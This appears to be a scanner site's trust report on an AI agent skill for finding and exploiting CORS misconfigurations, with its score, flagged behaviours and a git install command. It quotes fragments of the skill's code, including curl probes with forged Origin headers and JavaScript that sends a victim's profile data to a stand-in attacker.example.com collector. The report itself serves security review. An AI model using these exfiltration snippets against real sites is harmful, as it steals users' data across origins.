← All skills
testing-cors-misconfiguration
77 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By mukul975/Anthropic-Cybersecurity-Skills (GitHub) · security · 35,906 stars · scanned at commit 54a7988
Identifying and exploiting Cross-Origin Resource Sharing misconfigurations
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: evil.com, evil.target.example.com, target.example.com.evil.com, eviltarget.example.com, target.example.com, target.example.com%60.evil.com, api.target.example.com, attacker.example.com
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 25 places.
Show 17 more
- skills/testing-cors-misconfiguration/SKILL.md, line 92
curl -s -I -H "Origin: null" \ - skills/testing-cors-misconfiguration/SKILL.md, line 96
curl -s -I -H "Origin: https://evil.target.example.com" \ - skills/testing-cors-misconfiguration/SKILL.md, line 100
curl -s -I -H "Origin: https://target.example.com.evil.com" \ - skills/testing-cors-misconfiguration/SKILL.md, line 103
curl -s -I -H "Origin: https://eviltarget.example.com" \ - skills/testing-cors-misconfiguration/SKILL.md, line 107
curl -s -I -H "Origin: http://target.example.com" \ - skills/testing-cors-misconfiguration/SKILL.md, line 111
curl -s -I -H "Origin: https://target.example.com%60.evil.com" \ - skills/testing-cors-misconfiguration/SKILL.md, line 115
curl -s -I -H "Origin: https://evil.com" \ - skills/testing-cors-misconfiguration/SKILL.md, line 126
curl -s -I -X OPTIONS \ - skills/testing-cors-misconfiguration/SKILL.md, line 138
curl -s -I -X OPTIONS \ - skills/testing-cors-misconfiguration/SKILL.md, line 145
curl -s -I -X OPTIONS \ - skills/testing-cors-misconfiguration/SKILL.md, line 166
var xhr = new XMLHttpRequest(); - skills/testing-cors-misconfiguration/SKILL.md, line 173
var exfil = new XMLHttpRequest(); - skills/testing-cors-misconfiguration/SKILL.md, line 190
fetch('https://api.target.example.com/api/user/profile', { - skills/testing-cors-misconfiguration/SKILL.md, line 196
fetch('https://attacker.example.com/collect', { - skills/testing-cors-misconfiguration/SKILL.md, line 222
var xhr = new XMLHttpRequest(); - skills/testing-cors-misconfiguration/SKILL.md, line 225
fetch('https://attacker.example.com/collect', { - skills/testing-cors-misconfiguration/SKILL.md, line 262
curl -s -I -H "Origin: $origin" \
and 5 more places
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 4 places.
Show 1 more
Downloads and installs other software
The author does not mention this.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'testing-cors-misconfiguration' ] || [ -L ~/.agents/skills/'testing-cors-misconfiguration' ]; then echo 'A skill folder named testing-cors-misconfiguration already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/mukul975/Anthropic-Cybersecurity-Skills' "$d" && git -C "$d" checkout --quiet '54a798831d2266a3ca61ce68a7acb80b81160d57' -- 'skills/testing-cors-misconfiguration' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/testing-cors-misconfiguration' ~/.agents/skills/'testing-cors-misconfiguration' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'testing-cors-misconfiguration' ~/.claude/skills/'testing-cors-misconfiguration' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for mukul975/Anthropic-Cybersecurity-Skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/mukul975/Anthropic-Cybersecurity-Skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | 54a7988 | 77 |
| 2026-11-07 | 54a7988 | 77 |